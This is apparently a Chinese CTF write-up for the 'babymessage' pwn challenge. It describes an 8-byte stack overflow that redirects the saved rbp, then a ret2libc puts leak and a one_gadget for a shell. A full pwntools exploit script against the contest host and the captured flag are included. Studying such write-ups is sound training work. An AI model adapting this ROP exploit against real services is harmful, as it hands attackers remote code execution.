[强网先锋] babymessage

64位程序,保护没怎么开。

 

程序逻辑:

1、首先是菜单界面

 

2、进入功能函数,首先定义一个局部变量,这个是关键。

a、leave_name函数,往bss写入4个字节

 

b、leave_message函数,有个溢出,溢出8字节,可以改变返回rbp的值

 

c、show函数,打印name和message,没用到。

 

3、思路:

通过leave_name函数,往bss段(0x6010d0)写入一个0x100的数。

通过leave_message函数的溢出,将旧栈帧的rbp改成(0x6010d0+4),

然后根据偏移,每次在进入leave_message函数前,v1的值都会变成0x100

然后就用ret2libc进行getshell,用puts函数打印出puts函数的真实地址,然后算出one_gadget的地址,最后再把one_gadget填入返回地址。

 

完整脚本:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
#p = process("./babymessage")
p = remote("123.56.170.202", 21342)
elf = ELF("./babymessage")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(idx):
 p.sendlineafter("choice:", str(idx))
#gdb.attach(p)
choice(1)
p.sendafter("name:", p32(0x100))
choice(2)
p.sendafter("message:", "a"*8 + p64(0x6010d0+4))
exp = "a" * 8 + p64(0x6010d4) + p64(0x400ac3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40091a)
choice(2)
p.sendafter("message:", exp)
p.recvuntil("done!\n\n")
leak = u64(p.recv(6).ljust(8, "\x00"))
print hex(leak)
libc_base = leak - 0x80a30
one = libc_base + 0x4f3c2
choice(2)
p.sendafter("message:", "a"*8 + p64(0x6010d0+4))
exp = "a" * 8 + p64(0x6010d4) + p64(one) + "\x00" * 0x60
choice(2)
p.sendafter("message:", exp)
p.interactive()​​

 flag:flag{54f18e716d396c90ad6d613ed5225729}


打赏还是打残,这是个问题
0x00 题目名称
[强网先锋] Funhash - Donek1
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论